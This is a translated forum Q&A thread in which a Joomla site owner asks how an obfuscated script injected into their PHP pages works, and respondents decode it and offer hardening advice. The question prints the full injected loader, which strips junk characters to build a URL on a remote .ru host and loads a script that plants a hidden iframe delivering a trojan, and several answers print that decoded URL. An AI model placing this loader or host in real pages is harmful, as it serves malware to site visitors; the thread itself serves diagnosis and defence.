Как работает этот беспорядок? - PullRequest
98 голосов
/ 22 января 2010

Моя Joomla! сайт был неоднократно взломан. Кто-то каким-то образом сумел добавить следующий мусор в ключевые скрипты php, но я имею в виду не говорить о настройке Joomla. Сайт не посещается часто (иногда я боюсь, что я могу быть единственным посетителем этого сайта ...), и мне все равно, чтобы сайт снова заработал и работал. Я со временем справлюсь.

Мой вопрос: как работает этот мусор? Я смотрю на это и просто не понимаю, как это может причинить вред? Он пытается загрузить файл PDF с именем ChangeLog.pdf, который заражен трояном и после открытия заморозит ваш Acrobat и нанесет ущерб вашему компьютеру. Как это сделать, я не знаю, мне все равно. Но как следующий фрагмент сценария вызывает загрузку?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET обнаружил этот код как JS / TrojanDownloader.Agent.NRO trojan

Ответы [ 8 ]

179 голосов
/ 22 января 2010

Обратите внимание на вызов replace после гигантской грязной строки: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Удаляет большинство специальных символов, превращая его в обычный URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(я вручную изменил http: на evil:)

Обратите внимание, что регулярное выражение могло быть упрощено до .replace(/[#$@^&()!]/ig, '')

Если вы посмотрите на сценарий, вы увидите, что это очень простой сценарий, который внедряет скрытый IFRAME, содержащий путь /index.php?ys из того же домена.

Я запросил эту страницу в Fiddler, и она не содержала.

34 голосов
/ 23 января 2010

Эти ответы могут помочь вам понять природу вредоносного кода JavaScript, но вам нужно найти способ закрыть лазейку в движке Joomla. Предварительно упакованные фреймворки подвержены лазейкам, преднамеренным или непреднамеренным, особенно если учесть, что они спроектированы для работы в средах Unix, Mac и Windows.

Моя работа требует, чтобы я запускал много доменов, приложений и сред на многих типах серверов и систем для клиентов и для себя. Со временем я видел, как все больше и больше ботов просматривают эти системы в поисках известных лазеек / входов через входы в задние двери, созданные этими системами. Хорошая вещь, когда я использую любой тип фреймворка, который я редко делаю, я переименовываю большинство, если не всю файловую структуру, чтобы избавить себя от этих надоедливых лазеек / задних дверей. По крайней мере, вы можете переименовать каталоги, которые будут отбрасывать большинство ботов, но мой способ состоит в том, чтобы полностью исключить ссылки, которые дают подсказки относительно природы инфраструктуры, которая включает в себя переименование всей файловой структуры, а не только каталогов. Всегда держите карту новых соглашений об именах относительно старых соглашений об именах, чтобы сделать добавление плагинов к базовой платформе несложным. Как только вы это освоите, вы можете перейти к программному переименованию всей файловой структуры фреймворка для более быстрых результатов, это особенно полезно, когда приходится иметь дело с клиентами, которым нужно иметь возможность обновлять свои фреймворки с помощью плагинов и тому подобного.

20 голосов
/ 22 января 2010

Он просто заменяет регулярное выражение в URL скрипта, чтобы дать вам

ПРИМЕЧАНИЕ: НЕ СЛЕДУЙТЕ ЗА НИЖЕ НИЖНЕЙ ССЫЛКОЙ (вставлено ** для предотвращения наклеек)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

как src

8 голосов
/ 22 января 2010

Он использует функцию замены, чтобы заменить символы мусора с помощью регулярных выражений, ничего страшного с кодом:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
7 голосов
/ 22 января 2010

скрипт загрузки с

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

И этот скрипт загружает iframe с видимостью hidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
2 голосов
/ 13 февраля 2010

Мои два цента. У вас есть / вы можете установить инструмент резервного копирования Joomla, такой как Joomlapack?

Я настроил его запуск через скрипт CHRON, чтобы держать товар под рукой на случай, если грабители попадут в грабеж.

Какую версию Joomla вы используете?

1.0.X версии больше не обновляются, и его возраст действительно начинает показывать. Вы сами должны сделать резервную копию и планируете обновить до 1.5 и предвидеть чудеса 1.6

2 голосов
/ 23 января 2010

У меня такой же скрипт на моих страницах в индексных *. * Файлах. Я пишу свой собственный код на PHP. Мой вопрос не в том, как это работает, но я спрашиваю, как защитить, если вы знаете их черные ходы. Я изменил формы и прочитал $ _POST и $ _GET, заменив <> и http: // etc.

2 голосов
/ 22 января 2010

Когда вы читаете все это, вы обнаруживаете, что это строка, за которой следует команда замены.

...